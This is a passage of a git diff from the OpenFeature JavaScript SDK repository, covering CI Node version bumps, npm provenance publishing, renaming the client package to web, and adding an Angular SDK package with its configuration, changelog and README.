"definedTags": ["experimental"]
}
],
"linebreak-style": ["error", "unix"],
"quotes": [
"error",
"single",
{
"avoidEscape": true
}
],
"semi": ["error", "always"],
"check-file/filename-naming-convention": [
"error",
{
"**/*.{js,ts}": "KEBAB_CASE"
},
{
"ignoreMiddleExtensions": true
}
]
}
}

View File

@ -29,21 +29,6 @@ jobs:
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 18
node-version: 20
registry-url: "https://registry.npmjs.org"
cache: 'npm'
# if this is an @openfeature/core release, but the SDKs to use this version as a peer, and commit back
- name: Update Peer Version in Dependants
if: ${{ endsWith(github.ref_name, env.CORE_PACKAGE) }}
run: |
npm run update-core-peers && \
! git diff-files --quiet && \
( echo 'Updated peer dependency in dependents, committing...'
git add --all && \
git config user.name "openfeature-peer-update-bot" && \
git config user.email "openfeature-peer-update-bot@openfeature.dev" && \
git commit -m 'fix: bump @openfeature/${{ env.CORE_PACKAGE }} peer' -s && \
git push ) || echo 'Peer dependency in dependents is already up to date.'
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@ -16,7 +16,7 @@ jobs:
- uses: actions/setup-node@v4
with:
registry-url: 'https://registry.npmjs.org'
node-version: 18
node-version: 20
cache: 'npm'
- name: Install

View File

@ -16,8 +16,9 @@ jobs:
strategy:
matrix:
node-version:
- 18.x
- 20.x
- 22.x
- 24.x
steps:
- uses: actions/checkout@v4
@ -36,8 +37,11 @@ jobs:
- name: Lint
run: npm run lint
- name: Test
run: npm run test
- name: Test Jest Projects
run: npm run test:jest
- name: Test Angular SDK
run: npm run test:angular
codecov-and-docs:
runs-on: ubuntu-latest
@ -46,7 +50,7 @@ jobs:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 18
node-version: 20
cache: 'npm'
- name: Install
@ -68,8 +72,7 @@ jobs:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
# we need 'fetch' for this test, which is only in 18
node-version: 18
node-version: 20
cache: 'npm'
- name: Install

View File

@ -38,7 +38,7 @@ jobs:
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 18
node-version: 20
- name: Generate SBOM
run: |
npm install -g npm@^10.2.0
@ -54,6 +54,10 @@ jobs:
needs: release-please
runs-on: ubuntu-latest
if: ${{ needs.release-please.outputs.release_created }}
environment: publish
permissions:
id-token: write
contents: write
steps:
# The logic below handles the npm publication:
- name: Checkout Repository
@ -61,7 +65,7 @@ jobs:
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: 18
node-version: 20
registry-url: "https://registry.npmjs.org"
cache: 'npm'
- name: Build Packages
@ -74,6 +78,8 @@ jobs:
- name: Publish to NPM
env:
NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}}
# https://docs.npmjs.com/generating-provenance-statements
NPM_CONFIG_PROVENANCE: true
run: npm run publish-all
- name: Build Docs

View File

@ -1,7 +1,8 @@
{
"packages/nest": "0.2.0-experimental",
"packages/react": "0.4.0",
"packages/client": "1.1.0",
"packages/server": "1.14.0",
"packages/shared": "1.2.0"
"packages/nest": "0.2.5",
"packages/react": "1.0.1",
"packages/web": "1.6.1",
"packages/server": "1.19.0",
"packages/shared": "1.9.0",
"packages/angular/projects/angular-sdk": "0.0.16"
}

View File

@ -3,4 +3,4 @@
#
# Managed by Peribolos: https://github.com/open-feature/community/blob/main/config/open-feature/sdk-javascript/workgroup.yaml
#
* @open-feature/sdk-javascript-maintainers
* @open-feature/sdk-javascript-maintainers @open-feature/maintainers

View File

@ -8,7 +8,7 @@ node 16+, npm 8+ are recommended.
### Compilation Target(s)
We target `es2022`, and publish both ES-modules and CommonJS modules.
We target `es2015`, and publish both ES-modules and CommonJS modules.
### Installation and Dependencies
@ -19,7 +19,7 @@ We value having as few runtime dependencies as possible. The addition of any dep
### Modules
This repository uses [NPM workspaces](https://docs.npmjs.com/cli/v9/using-npm/workspaces) to establish a simple monorepo.
Within the root project, there is one common project (`packages/shared`) which features common interfaces and code, consumed by the published modules (`packages/server` and `packages/client`).
Within the root project, there is one common project (`packages/shared`) which features common interfaces and code, consumed by the published modules (`packages/server` and `packages/web`).
The shared module is built and published separately, and is a peer dependency of the SDK packages.
Consumers need not install it separately, since `npm` and `yarn` automatically install required peers.
In order to prevent regressions cause by incompatibilities due to version mismatches, the SDKs are locked to a particular version of the `@openfeature/core` module, and the CI enforces that it's released before any dependant SDKs (see [the related workflow](./.github/workflows/audit-pending-releases.yml)).
@ -36,9 +36,9 @@ npm run e2e-server
```
for the server e2e tests and
```
npm run e2e-client
npm run e2e-web
```
for the client e2e tests.
for the web e2e tests.
### Packaging
@ -120,6 +120,16 @@ on each other), the owner should try to get people aligned by:
- If none of the above worked and the PR has been stuck for more than 2 weeks,
the owner should bring it to the OpenFeatures [meeting](README.md#contributing).
## Releasing
As with most OpenFeature repos, release-please supports our release process.
For this SDK specifically, keep in mind this is a monorepo with dependencies with between components.
If there are multiple release PRs open, ensure that you release them in order consistent with their dependency graph, waiting for each to fully complete.
For example, if there are pending releases for: `@openfeature/core`, `@openfeature/web-sdk` and `@openfeature/react-sdk`, release them in that order.
Also ensure that if there are changes in an artifact which depend on changes in a dependency, that you reflect that in the `peerDependencies` field.
For example, if a new release of `@openfeature/web-sdk` depends on features added in `@openfeature/core`, update the required minimum version of the `@openfeature/core` peer in the `@openfeature/web-sdk` package.json.
## Design Choices
As with other OpenFeature SDKs, js-sdk follows the

View File

@ -30,8 +30,8 @@ For details, including API documentation, see the respective README files.
- [Server SDK](./packages/server/README.md), for use in Node.js and similar runtimes.
- [NestJS SDK](./packages/nest/README.md), a distribution of the Server SDK with built-in NestJS-specific features.
- [Client SDK](./packages/client/README.md), for use in the web browser.
- [React SDK](./packages/react//README.md), a distribution of the Client SDK with built-in React-specific features.
- [Web SDK](./packages/web/README.md), for use in the web browser.
- [React SDK](./packages/react//README.md), a distribution of the Web SDK with built-in React-specific features.
Each have slightly different APIs, but share many underlying types and components.

View File

@ -124,10 +124,10 @@ export default {
},
},
{
displayName: 'client',
displayName: 'web',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/client/test/**/*.spec.ts'],
testMatch: ['<rootDir>/packages/web/test/**/*.spec.ts'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
},
@ -143,10 +143,10 @@ export default {
},
},
{
displayName: 'client-e2e',
displayName: 'web-e2e',
testEnvironment: 'node',
preset: 'ts-jest',
testMatch: ['<rootDir>/packages/client/e2e/**/*.spec.ts'],
testMatch: ['<rootDir>/packages/web/e2e/**/*.spec.ts'],
modulePathIgnorePatterns: ['.*/node-modules/'],
moduleNameMapper: {
'^uuid$': require.resolve('uuid'),
@ -161,6 +161,7 @@ export default {
testMatch: ['<rootDir>/packages/nest/test/**/*.spec.ts'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
'@openfeature/server-sdk': '<rootDir>/packages/server/src',
},
transform: {
'^.+\\.ts$': [
@ -178,7 +179,7 @@ export default {
testMatch: ['<rootDir>/packages/react/test/**/*.spec.{ts,tsx}'],
moduleNameMapper: {
'@openfeature/core': '<rootDir>/packages/shared/src',
'@openfeature/web-sdk': '<rootDir>/packages/client/src',
'@openfeature/web-sdk': '<rootDir>/packages/web/src',
},
transform: {
'^.+\\.(ts|tsx)$': [

20642
package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@ -1,20 +1,24 @@
{
"name": "@openfeature/js",
"engines": {
"npm": "^10.0.0"
},
"version": "0.0.0",
"private": true,
"description": "OpenFeature SDK for JavaScript",
"scripts": {
"test": "jest --selectProjects=shared --selectProjects=server --selectProjects=client --selectProjects=react --silent",
"test": "npm run test:jest && npm run test:angular",
"test:jest": "jest --selectProjects=shared --selectProjects=server --selectProjects=web --selectProjects=react --selectProjects=nest --silent",
"test:angular": "npm run test:coverage --workspace=packages/angular",
"e2e-server": "git submodule update --init --recursive && shx cp test-harness/features/evaluation.feature packages/server/e2e/features && jest --selectProjects=server-e2e --verbose",
"e2e-client": "git submodule update --init --recursive && shx cp test-harness/features/evaluation.feature packages/client/e2e/features && jest --selectProjects=client-e2e --verbose",
"e2e": "npm run e2e-server && npm run e2e-client",
"lint": "npm run lint --workspace=packages/shared --workspace=packages/server --workspace=packages/client --workspace=packages/react --workspace=packages/nest",
"e2e-web": "git submodule update --init --recursive && shx cp test-harness/features/evaluation.feature packages/web/e2e/features && jest --selectProjects=web-e2e --verbose",
"e2e": "npm run e2e-server && npm run e2e-web",
"lint": "npm run lint --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"lint:fix": "npm run lint:fix --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"clean": "shx rm -rf ./dist",
"build": "npm run build --workspace=packages/shared --workspace=packages/server --workspace=packages/client --workspace=packages/react --workspace=packages/nest",
"publish-all": "npm run publish-if-not-exists --workspace=packages/shared --workspace=packages/server --workspace=packages/client --workspace=packages/react --workspace=packages/nest",
"docs": "typedoc",
"core-version": "npm run version --workspace=packages/shared",
"update-core-peers": "export OPENFEATURE_CORE_VERSION=$(npm run --silent core-version) && npm run update-core-peer --workspace=packages/server --workspace=packages/client"
"build": "npm run build --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"publish-all": "npm run publish-if-not-exists --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"docs": "typedoc"
},
"repository": {
"type": "git",
@ -32,50 +36,49 @@
"url": "https://github.com/open-feature/js-sdk/issues"
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"engines": {
"node": ">=18"
},
"devDependencies": {
"@rollup/plugin-typescript": "^11.1.6",
"@rollup/plugin-typescript": "^12.0.0",
"@testing-library/jest-dom": "^6.4.2",
"@testing-library/react": "^15.0.0",
"@testing-library/react": "^16.0.0",
"@types/jest": "^29.5.12",
"@types/node": "^20.11.16",
"@types/node": "^22.0.0",
"@types/react": "^18.2.55",
"@types/uuid": "^9.0.8",
"@typescript-eslint/eslint-plugin": "^7.0.0",
"@typescript-eslint/parser": "^7.0.0",
"esbuild": "^0.20.0",
"@types/uuid": "^10.0.0",
"esbuild": "^0.25.0",
"eslint": "^8.56.0",
"eslint-config-prettier": "^9.1.0",
"eslint-import-resolver-alias": "^1.1.2",
"eslint-plugin-check-file": "^2.6.2",
"eslint-plugin-import": "^2.29.1",
"eslint-plugin-jest": "^28.0.0",
"eslint-plugin-jsdoc": "^48.0.6",
"eslint-plugin-jsdoc": "^50.0.0",
"eventemitter3": "^5.0.1",
"jest": "^29.7.0",
"jest-config": "^29.7.0",
"jest-cucumber": "^3.0.1",
"jest-cucumber": "^4.0.0",
"jest-environment-jsdom": "^29.7.0",
"jest-environment-node": "^29.7.0",
"jest-junit": "^16.0.0",
"prettier": "^3.2.5",
"react": "^18.2.0",
"rollup": "^3.29.4",
"rollup-plugin-dts": "^5.3.1",
"shx": "^0.3.4",
"rollup": "^4.0.0",
"rollup-plugin-dts": "^6.1.1",
"rxjs": "~7.8.0",
"shx": "^0.4.0",
"ts-jest": "^29.1.2",
"ts-node": "^10.9.2",
"typedoc": "^0.25.7",
"tslib": "^2.3.0",
"typedoc": "^0.26.0",
"typescript": "^4.7.4",
"uuid": "^9.0.1"
"uuid": "^11.0.0"
},
"workspaces": [
"packages/shared",
"packages/server",
"packages/client",
"packages/web",
"packages/react",
"packages/angular",
"packages/angular/projects/angular-sdk",
"packages/nest"
]
}

View File

@ -0,0 +1,29 @@
{
"root": true,
"ignorePatterns": [
"projects/**/*"
],
"overrides": [
{
"files": [
"*.ts"
],
"extends": [
"eslint:recommended",
"plugin:@typescript-eslint/recommended",
"plugin:@angular-eslint/recommended",
"plugin:@angular-eslint/template/process-inline-templates"
]
},
{
"files": [
"*.html"
],
"extends": [
"plugin:@angular-eslint/template/recommended",
"plugin:@angular-eslint/template/accessibility"
],
"rules": {}
}
]
}

45
packages/angular/.gitignore vendored Normal file
View File

@ -0,0 +1,45 @@
# See http://help.github.com/ignore-files/ for more about ignoring files.
# Compiled output
/dist
/tmp
/out-tsc
/bazel-out
# Node
/node_modules
npm-debug.log
yarn-error.log
# IDEs and editors
.idea/
.project
.classpath
.c9/
*.launch
.settings/
*.sublime-workspace
# Visual Studio Code
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
.history/*
# Miscellaneous
/.angular/cache
.sass-cache/
/connect.lock
/coverage
/libpeerconnection.log
testem.log
/typings
# System files
.DS_Store
Thumbs.db
.nx/cache
.nx/workspace-data

View File

@ -0,0 +1,27 @@
# Angular
This project was generated with [Angular CLI](https://github.com/angular/angular-cli) version 17.2.2.
## Development server
Run `ng serve` for a dev server. Navigate to `http://localhost:4200/`. The application will automatically reload if you change any of the source files.
## Code scaffolding
Run `ng generate component component-name` to generate a new component. You can also use `ng generate directive|pipe|service|class|guard|interface|enum|module`.
## Build
Run `ng build` to build the project. The build artifacts will be stored in the `dist/` directory.
## Running unit tests
Run `ng test` to execute the unit tests via [Karma](https://karma-runner.github.io).
## Running end-to-end tests
Run `ng e2e` to execute the end-to-end tests via a platform of your choice. To use this command, you need to first add a package that implements end-to-end testing capabilities.
## Further help
To get more help on the Angular CLI use `ng help` or go check out the [Angular CLI Overview and Command Reference](https://angular.io/cli) page.

View File

@ -0,0 +1,54 @@
{
"$schema": "../../node_modules/@angular/cli/lib/config/schema.json",
"version": 1,
"newProjectRoot": "projects",
"projects": {
"angular-sdk": {
"projectType": "library",
"root": "projects/angular-sdk",
"sourceRoot": "projects/angular-sdk/src",
"prefix": "lib",
"architect": {
"build": {
"builder": "@angular/build:ng-packagr",
"options": {
"project": "projects/angular-sdk/ng-package.json"
},
"configurations": {
"production": {
"tsConfig": "projects/angular-sdk/tsconfig.lib.prod.json"
},
"development": {
"tsConfig": "projects/angular-sdk/tsconfig.lib.json"
}
},
"defaultConfiguration": "production"
},
"lint": {
"builder": "@angular-eslint/builder:lint",
"options": {
"lintFilePatterns": [
"projects/angular-sdk/**/*.ts",
"projects/angular-sdk/**/*.html"
]
}
},
"test": {
"builder": "@angular/build:unit-test",
"options": {
"tsConfig": "projects/angular-sdk/tsconfig.spec.json",
"providersFile": "projects/angular-sdk/src/test-provider.ts",
"runner": "vitest",
"buildTarget": "::development"
}
}
}
}
},
"cli": {
"schematicCollections": [
"@angular-eslint/schematics"
],
"analytics": false
}
}

View File

@ -0,0 +1,48 @@
{
"name": "angular",
"version": "0.0.0",
"scripts": {
"ng": "ng",
"start": "ng serve",
"lint": "ng lint",
"lint:fix": "ng lint --fix",
"watch": "ng build --watch --configuration development",
"test": "ng test",
"test:coverage": "ng test --no-watch --code-coverage",
"build": "ng build && npm run postbuild",
"postbuild": "shx cp ./../../LICENSE ./dist/angular/LICENSE",
"publish-if-not-exists": "cp $NPM_CONFIG_USERCONFIG .npmrc && if [ \"$(npm --prefix dist/angular run current-published-version -s)\" = \"$(npm --prefix dist/angular run current-version -s)\" ]; then echo 'already published, skipping'; else cd dist/angular && npm publish --access public; fi"
},
"private": true,
"devDependencies": {
"@angular-eslint/builder": "^20.1.1",
"@angular-eslint/eslint-plugin": "^20.1.1",
"@angular-eslint/eslint-plugin-template": "^20.1.1",
"@angular-eslint/schematics": "^20.1.1",
"@angular-eslint/template-parser": "^20.1.1",
"@angular/animations": "^20.1.1",
"@angular/build": "^20.1.1",
"@angular/cli": "^20.1.1",
"@angular/common": "^20.1.1",
"@angular/compiler": "^20.1.1",
"@angular/compiler-cli": "^20.1.1",
"@angular/core": "^20.1.1",
"@angular/forms": "^20.1.1",
"@angular/platform-browser": "^20.1.1",
"@angular/platform-browser-dynamic": "^20.1.1",
"@angular/router": "^20.1.1",
"@typescript-eslint/eslint-plugin": "7.18.0",
"@typescript-eslint/parser": "7.18.0",
"@vitest/browser": "^3.2.4",
"@vitest/coverage-v8": "^3.2.4",
"eslint": "^8.57.0",
"jsdom": "^26.1.0",
"ng-packagr": "^20.1.0",
"playwright": "^1.53.2",
"rxjs": "~7.8.0",
"tslib": "^2.3.0",
"typescript": "^5.8.3",
"vitest": "^3.2.4",
"zone.js": "~0.15.0"
}
}

View File

@ -0,0 +1,18 @@
# This file is used by the build system to adjust CSS and JS output to support the specified browsers below.
# For additional information regarding the format and rule options, please see:
# https://github.com/browserslist/browserslist#queries
# For Angular's browser support policy, please see:
# https://angular.dev/reference/versions#browser-support
# You can see what browsers were selected by your queries by running:
# npx browserslist
Chrome >= 107
ChromeAndroid >= 107
Edge >= 107
Firefox >= 104
FirefoxAndroid >= 104
Safari >= 16
iOS >= 16

View File

@ -0,0 +1,19 @@
{
"extends": "../../.eslintrc.json",
"ignorePatterns": [
"!**/*"
],
"overrides": [
{
"files": [
"*.ts"
]
},
{
"files": [
"*.html"
],
"rules": {}
}
]
}

View File

@ -0,0 +1,127 @@
# Changelog
## [0.0.16](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.15...angular-sdk-v0.0.16) (2025-07-25)
### ✨ New Features
* support Angular 20 ([#1220](https://github.com/open-feature/js-sdk/issues/1220)) ([aa232a9](https://github.com/open-feature/js-sdk/commit/aa232a9d6a8dfa416380ccdecd71843d3e361048))
## [0.0.15](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.14...angular-sdk-v0.0.15) (2025-05-27)
### 🐛 Bug Fixes
* **angular:** update docs ([#1200](https://github.com/open-feature/js-sdk/issues/1200)) ([b6ea588](https://github.com/open-feature/js-sdk/commit/b6ea5884f2ab9f4f94c8b258c4cf7268ea6dbeb8))
## [0.0.14](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.13...angular-sdk-v0.0.14) (2025-05-25)
### 🐛 Bug Fixes
* **angular:** add license and url field to package.json ([b2784f5](https://github.com/open-feature/js-sdk/commit/b2784f53b85a11c58abb8e2a0f87a31890885c54))
## [0.0.13](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.12...angular-sdk-v0.0.13) (2025-04-20)
### 📚 Documentation
* fix readme typo ([#1174](https://github.com/open-feature/js-sdk/issues/1174)) ([21a32ec](https://github.com/open-feature/js-sdk/commit/21a32ec92ecde9ec43c9d72b5921035af13448d1))
## [0.0.12](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.11...angular-sdk-v0.0.12) (2025-04-11)
### ✨ New Features
* **angular:** add docs for setting evaluation context in angular ([#1170](https://github.com/open-feature/js-sdk/issues/1170)) ([24f1b23](https://github.com/open-feature/js-sdk/commit/24f1b230bf1d57971a336ac21b9ee46e8baf0cab))
## [0.0.11](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.10...angular-sdk-v0.0.11) (2025-04-11)
### ✨ New Features
* **angular:** add option for initial context injection ([aafdb43](https://github.com/open-feature/js-sdk/commit/aafdb4382f113f96a649f5fc0cecadb4178ada67))
## [0.0.10](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.9-experimental...angular-sdk-v0.0.10) (2025-02-13)
### 🧹 Chore
* **angular:** update angular package to a non-experimental version ([#1147](https://github.com/open-feature/js-sdk/issues/1147)) ([5272f76](https://github.com/open-feature/js-sdk/commit/5272f76c4075ebbd21f9b24dacac8f2d22e31ca9)), closes [#1110](https://github.com/open-feature/js-sdk/issues/1110)
* update sdk peer ([#1142](https://github.com/open-feature/js-sdk/issues/1142)) ([8bb6206](https://github.com/open-feature/js-sdk/commit/8bb620601e2b8dc7b62d717169b585bd1c886996))
## [0.0.9-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.8-experimental...angular-sdk-v0.0.9-experimental) (2024-11-21)
### 🧹 Chore
* **angular:** add repository to package.json ([#1093](https://github.com/open-feature/js-sdk/issues/1093)) ([35f000e](https://github.com/open-feature/js-sdk/commit/35f000e0f3c3ff7d60c05883312691d14f01c5fd))
## [0.0.8-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.7-experimental...angular-sdk-v0.0.8-experimental) (2024-11-21)
### ✨ New Features
* **angular:** add angular 19 to peerDependencies ([4893d6f](https://github.com/open-feature/js-sdk/commit/4893d6f0003fbdcdcd4c7c061e9aed49e20b8976))
## [0.0.7-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.6-experimental...angular-sdk-v0.0.7-experimental) (2024-11-21)
Note: This version did not release
## [0.0.6-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.5-experimental...angular-sdk-v0.0.6-experimental) (2024-10-28)
### ✨ New Features
* **angular:** add Angular 18 support ([#1063](https://github.com/open-feature/js-sdk/issues/1063)) ([e62d6d4](https://github.com/open-feature/js-sdk/commit/e62d6d4b7e4a5d0f40592a2c73e7124d22eec98e))
## [0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.4-experimental...angular-sdk-v0.0.5-experimental) (2024-10-21)
### 🐛 Bug Fixes
* **angular:** fix race condition on initialization ([#1052](https://github.com/open-feature/js-sdk/issues/1052)) ([12eaa97](https://github.com/open-feature/js-sdk/commit/12eaa9758d9deb788d74488ef03f18cbd31c0cbe))
## [0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.3-experimental...angular-sdk-v0.0.4-experimental) (2024-09-30)
### 🐛 Bug Fixes
* **angular:** add package description ([#1026](https://github.com/open-feature/js-sdk/issues/1026)) ([dc63ca8](https://github.com/open-feature/js-sdk/commit/dc63ca8b9d6fe8c16089e95f0e336d5e3f759f3b))
## [0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.2-experimental...angular-sdk-v0.0.3-experimental) (2024-09-22)
### 🧹 Chore
* add npm keywords for angular ([#1015](https://github.com/open-feature/js-sdk/issues/1015)) ([6b11165](https://github.com/open-feature/js-sdk/commit/6b11165aa102e62fb8cd4dd218643e2ef0e733cf))
### 📚 Documentation
* **angular:** improve angular readme layout ([#1013](https://github.com/open-feature/js-sdk/issues/1013)) ([ee52da9](https://github.com/open-feature/js-sdk/commit/ee52da9a01fe71fd5b4a4734659a06c48b6dc62c))
## [0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.1-experimental...angular-sdk-v0.0.2-experimental) (2024-09-14)
### 🐛 Bug Fixes
* copy license to package correctly ([#1011](https://github.com/open-feature/js-sdk/issues/1011)) ([458d278](https://github.com/open-feature/js-sdk/commit/458d278345fe8681a966fca3852b2e607bdafccb))
## [0.0.1-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.2-experimental...angular-sdk-v0.0.3-experimental) (2024-09-14)
### ✨ New Features
* Angular SDK ([#997](https://github.com/open-feature/js-sdk/issues/997)) ([105fd95](https://github.com/open-feature/js-sdk/commit/105fd95e344822ffcfc54d328a28676b6f27f38e))

View File

@ -0,0 +1,352 @@
<!-- markdownlint-disable MD033 -->
<!-- x-hide-in-docs-start -->
<p align="center">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/white/openfeature-horizontal-white.svg" />
<img align="center" alt="OpenFeature Logo" src="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/black/openfeature-horizontal-black.svg" />
</picture>
</p>
<h2 align="center">OpenFeature Angular SDK</h2>
<!-- x-hide-in-docs-end -->
<!-- The 'github-badges' class is used in the docs -->
<p align="center" class="github-badges">
<a href="https://github.com/open-feature/spec/releases/tag/v0.8.0">
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/angular-sdk-v0.0.16">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v0.0.16&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
<a href="https://codecov.io/gh/open-feature/js-sdk">
<img alt="codecov" src="https://codecov.io/gh/open-feature/js-sdk/branch/main/graph/badge.svg?token=3DC5XOEHMY" />
</a>
<a href="https://www.npmjs.com/package/@openfeature/angular-sdk">
<img alt="NPM Download" src="https://img.shields.io/npm/dm/%40openfeature%2Fangular-sdk" />
</a>
</p>
<!-- x-hide-in-docs-start -->
[OpenFeature](https://openfeature.dev) is an open specification that provides a vendor-agnostic, community-driven API
for feature flagging that works with your favorite feature flag management tool or in-house solution.
<!-- x-hide-in-docs-end -->
## Overview
The OpenFeature Angular SDK adds Angular-specific functionality to
the [OpenFeature Web SDK](https://openfeature.dev/docs/reference/technologies/client/web).
In addition to the features provided by the [web sdk](https://openfeature.dev/docs/reference/technologies/client/web), capabilities include:
- [Overview](#overview)
- [Quick start](#quick-start)
- [Requirements](#requirements)
- [Install](#install)
- [npm](#npm)
- [yarn](#yarn)
- [Required peer dependencies](#required-peer-dependencies)
- [Usage](#usage)
- [Module](#module)
- [Minimal Example](#minimal-example)
- [How to use](#how-to-use)
- [Boolean Feature Flag](#boolean-feature-flag)
- [Number Feature Flag](#number-feature-flag)
- [String Feature Flag](#string-feature-flag)
- [Object Feature Flag](#object-feature-flag)
- [Opting-out of automatic re-rendering](#opting-out-of-automatic-re-rendering)
- [Consuming the evaluation details](#consuming-the-evaluation-details)
- [Setting Evaluation Context](#setting-evaluation-context)
- [FAQ and troubleshooting](#faq-and-troubleshooting)
- [Resources](#resources)
## Quick start
### Requirements
- ES2015-compatible web browser (Chrome, Edge, Firefox, etc)
- Angular version 16+
### Install
#### npm
```sh
npm install --save @openfeature/angular-sdk
```
#### yarn
```sh
# yarn requires manual installation of the peer dependencies (see below)
yarn add @openfeature/angular-sdk @openfeature/web-sdk @openfeature/core
```
#### Required peer dependencies
The following list contains the peer dependencies of `@openfeature/angular-sdk`.
See the [package.json](./package.json) for the required versions.
* `@openfeature/web-sdk`
* `@angular/common`
* `@angular/core`
### Usage
#### Module
To include the OpenFeature Angular directives in your application, you need to import the `OpenFeatureModule` and
configure it using the `forRoot` method.
```typescript
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { OpenFeatureModule } from '@openfeature/angular-sdk';
@NgModule({
declarations: [
// Other components
],
imports: [
CommonModule,
OpenFeatureModule.forRoot({
provider: yourFeatureProvider,
// domainBoundProviders are optional, mostly needed if more than one provider is used in the application.
domainBoundProviders: {
domain1: new YourOpenFeatureProvider(),
domain2: new YourOtherOpenFeatureProvider(),
},
})
],
})
export class AppModule {
}
```
##### Minimal Example
You don't need to provide all the templates. Here's a minimal example using a boolean feature flag:
If `initializing` and `reconciling` are not given, the feature flag value that is returned by the provider will
determine what will be rendered.
```html
<div *booleanFeatureFlag="'isFeatureEnabled'; default: true">
This is shown when the feature flag is enabled.
</div>
```
This example shows content when the feature flag `isFeatureEnabled` is true with a default value of true.
No `else`, `initializing`, or `reconciling` templates are required in this case.
#### How to use
The library provides four primary directives for feature flags, `booleanFeatureFlag`,
`numberFeatureFlag`, `stringFeatureFlag` and `objectFeatureFlag`.
The first value given to the directive is the flag key that should be evaluated.
For all directives, the default value passed to OpenFeature has to be provided by the `default` parameter.
For all non-boolean directives, the value to compare the evaluation result to can be provided by the `value` parameter.
This parameter is optional, if omitted, the `thenTemplate` will always be rendered.
The `domain` parameter is _optional_ and will be used as domain when getting the OpenFeature provider.
The `updateOnConfigurationChanged` and `updateOnContextChanged` parameter are _optional_ and used to disable the
automatic re-rendering on flag value or context change. They are set to `true` by default.
The template referenced in `else` will be rendered if the evaluated feature flag is `false` for the `booleanFeatureFlag`
directive and if the `value` does not match evaluated flag value for all other directives.
This parameter is _optional_.
The template referenced in `initializing` and `reconciling` will be rendered if OpenFeature provider is in the
corresponding states.
This parameter is _optional_, if omitted, the `then` and `else` templates will be rendered according to the flag value.
##### Boolean Feature Flag
```html
<div
*booleanFeatureFlag="'isFeatureEnabled'; default: true; domain: 'userDomain'; else: booleanFeatureElse; initializing: booleanFeatureInitializing; reconciling: booleanFeatureReconciling">
This is shown when the feature flag is enabled.
</div>
<ng-template #booleanFeatureElse>
This is shown when the feature flag is disabled.
</ng-template>
<ng-template #booleanFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #booleanFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### Number Feature Flag
```html
<div
*numberFeatureFlag="'discountRate'; value: 10; default: 5; domain: 'userDomain'; else: numberFeatureElse; initializing: numberFeatureInitializing; reconciling: numberFeatureReconciling">
This is shown when the feature flag matches the specified discount rate.
</div>
<ng-template #numberFeatureElse>
This is shown when the feature flag does not match the specified discount rate.
</ng-template>
<ng-template #numberFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #numberFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### String Feature Flag
```html
<div
*stringFeatureFlag="'themeColor'; value: 'dark'; default: 'light'; domain: 'userDomain'; else: stringFeatureElse; initializing: stringFeatureInitializing; reconciling: stringFeatureReconciling">
This is shown when the feature flag matches the specified theme color.
</div>
<ng-template #stringFeatureElse>
This is shown when the feature flag does not match the specified theme color.
</ng-template>
<ng-template #stringFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #stringFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### Object Feature Flag
```html
<div
*objectFeatureFlag="'userConfig'; value: { theme: 'dark' }; default: { theme: 'light' }; domain: 'userDomain'; else: objectFeatureElse; initializing: objectFeatureInitializing; reconciling: objectFeatureReconciling">
